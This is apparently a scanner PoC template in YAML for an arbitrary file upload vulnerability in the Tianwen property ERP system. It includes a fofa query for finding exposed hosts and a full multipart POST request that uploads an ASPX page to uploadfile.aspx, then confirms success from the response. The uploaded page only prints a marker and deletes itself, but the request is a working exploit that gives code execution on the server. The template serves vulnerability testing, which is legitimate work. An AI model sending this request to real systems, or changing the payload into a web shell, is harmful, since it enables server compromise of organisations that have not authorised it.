tianwenwuye-erp-uploadfile-aspx-anyfile-upload: 天问物业ERP系统 uploadfile.aspx 任意文件上传漏洞

id: tianwenwuye-erp-uploadfile-aspx-anyfile-upload

info:
  name: 天问物业ERP系统 uploadfile.aspx 任意文件上传漏洞
  author: daffainfo
  severity: critical
  verified: true
  description: |
    成都天问互联科技有限公司以软件开发和技术服务为基础，建立物业ERP应用系统，向物管公司提供旨在降低成本、保障品质、提升效能为目标的智慧物管整体解决方案，实现物管公司的管理升级；以平台搭建和资源整合为基础，建立社区O2O服务平台，向物管公司提供旨在完善服务、方便业主、增加收益为目标的智慧小区综合服务平台，实现物业公司的服务转型。天问物业ERP系统 uploadfile.aspx存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件至服务器，导致服务器失陷。
    fofa-query: body="天问物业ERP系统"
  reference:
    - https://www.s9h.cn/5800.html
    
set:
    datepath: year(0) + "/" + month(0)
    rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /HM/M_Main/uploadfile.aspx
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
          ------WebKitFormBoundary{{rboundary}}\r\n\
          Content-Disposition: form-data; name=\"__VIEWSTATE\"\r\n\
          \r\n\
          /wEPDwUKLTg1NDU3MTA4OQ9kFgICAQ8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRk70CKfgUcso35StfmoNB/ObwwU8W4qvmgqa52HxmqsU0=\r\n\
          ------WebKitFormBoundary{{rboundary}}\r\n\
          Content-Disposition: form-data; name=\"__VIEWSTATEGENERATOR\"\r\n\
          \r\n\
          DE1005D5\r\n\
          ------WebKitFormBoundary{{rboundary}}\r\n\
          Content-Disposition: form-data; name=\"__EVENTVALIDATION\"\r\n\
          \r\n\
          /wEdAAIk02sIXo/TRIPUygBB64GvmW/ynBkkkA2xI95ik8Vs4GXPPWvIYnA84468jdc5Wr+nrufsSY+RKtcm7vKIotDs\r\n\
          ------WebKitFormBoundary{{rboundary}}\r\n\
          Content-Disposition: form-data; name=\"BtnSave\"\r\n\
          \r\n\
          确定上传\r\n\
          ------WebKitFormBoundary{{rboundary}}\r\n\
          Content-Disposition: form-data; name=\"upload_img\"; filename=\"1.aspx\"\r\n\
          Content-Type: application/octet-stream\r\n\
          \r\n\
          <%@Page Language=\"C#\"%>\r\n\
          <%Response.Write(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String(\"MHhvbGQ2\"))); System.IO.File.Delete(Request.PhysicalPath);%>\r\n\
          \r\n\
          ------WebKitFormBoundary{{rboundary}}"
    expression: response.status == 200 && response.body.bcontains(bytes('/HM/M_Main/OAUpLoadFile/'+datepath))
expression: r0()